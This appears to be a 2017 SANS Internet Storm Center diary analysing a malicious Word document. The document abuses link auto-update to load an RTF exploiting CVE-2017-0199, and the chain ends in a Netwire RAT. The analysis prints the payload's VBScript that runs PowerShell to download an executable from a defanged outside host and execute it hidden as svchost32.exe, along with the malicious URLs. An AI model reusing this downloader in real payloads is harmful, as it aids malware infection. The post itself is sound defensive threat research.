Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: Internet Storm Center - SANS Internet Storm Center Internet Storm Center

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Latest Diaries

Maldoc with auto-updated link

Published: 2017-08-17
Last Updated: 2017-08-17 06:45:48 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

Yesterday, while hunting, I found another malicious document that (ab)used a Microsoft Word feature: auto-update of links. This feature is enabled by default for any newly created document (that was the case for my Word 2016 version). If you add links to external resources like URLs, Word will automatically update them without any warning or prompt.

You can check the status of the feature with the “File” menu, “Options” then “General”:

The infection vector was classic: The document ("N_Order#xxxxx.docx" with 5 random numbers) was received as an attachment and has a VT score of 12/59 this morning[1]. The file has an embedded link to another document which is a malicious RTF file that tries to exploit the CVE 2017-0199. The link has the auto-update feature enabled as you can see:

The RTF document is located at hxxp://uploads[.]shanatan[.]moe/uhjytx.doc. Word is trying to access the malicious document as seen in the network capture:

User-Agent: Microsoft Office Protocol Discovery
Content-Length: 0
Connection: Keep-Alive

Connection: Keep-Alive
User-Agent: DavClnt
translate: f

GET /uhjytx.doc HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MSOffice 12)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

The RTF document is a classic one with a VT score of 31/57[2]. It downloads a Javascript payload from hxxps://i[.]memenet[.]org/wqlsv.hta. It creates a shell object to spawn a Powershell command and download a malicious PE file. (Note: the code has been beautified)

<script type="text/vbscript”>
set shhh = CreateObject(“WScript.Shell”)
Dim var1
var1 = “PowerShell (New-Object System.Net.WebClient).DownloadFile(‘hxxp://indiancraftz[.]com/anold/server.exe’,'%temp%\svchost32.exe’);Start-Process ‘%temp%\svchost32.exe’” var1,vbHide

The PE file located at hxxp://indiancraftz[.]com/anold/server.exe has a VT score of 17/65[3]. It looks to be a Netwire RAT[4] phoning home to (located in Germany)


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant

1 comment(s)

If you have more information or corrections regarding our diary, please share.

Recent Diaries

Analysis of a Paypal phishing kit
Aug 16th 2017
1 day ago by Xme (0 comments)

Aug 15th 2017
2 days ago by Renato (0 comments)

Malspam pushing Trickbot banking Trojan
Aug 15th 2017
2 days ago by Brad (0 comments)

Sometimes it's just SPAM
Aug 14th 2017
3 days ago by DidierStevens (0 comments)

The Good Phishing Email
Aug 13th 2017
4 days ago by DidierStevens (0 comments)

Outlook Web Access based attacks
Aug 12th 2017
5 days ago by Mark (6 comments)

VMware Security Advisories -VMSA-2017-0014
Aug 11th 2017
6 days ago by Basil (0 comments)

Triaging suspicious files with pestudio
Aug 11th 2017
6 days ago by Basil (1 comment)

Maldoc Analysis with ViperMonkey
Aug 10th 2017
1 week ago by DidierStevens (0 comments)

View All Diaries →

Latest Discussions

Mobile App TLS connection
created Aug 13th 2017
4 days ago by Anonymous (0 replies)

RSS Feed: Example of Infocon level change?
created Aug 8th 2017
1 week ago by Matt M. (2 replies)

created Aug 4th 2017
1 week ago by Anonymous (0 replies)

Benefits of IoT Security
created Aug 1st 2017
2 weeks ago by Madison (0 replies)

Phishing mail/URL link scanning with the online/freeware tool.
created Jul 26th 2017
3 weeks ago by Anonymous (0 replies)

View All Forums →

Latest News

View All News →

Top Diaries

Wide-scale Petya variant ransomware attack noted
Jun 27th 2017
1 month ago by Brad (6 comments)

OAUTH phishing against Google Docs ? beware!
May 3rd 2017
3 months ago by Bojan (6 comments)

Checking out the new Petya variant
Jun 27th 2017
1 month ago by Brad (6 comments)

Massive wave of ransomware ongoing
May 15th 2017
3 months ago by Xme (10 comments)

Microsoft Patch Tuesday August 2017
Aug 8th 2017
1 week ago by Johannes (6 comments)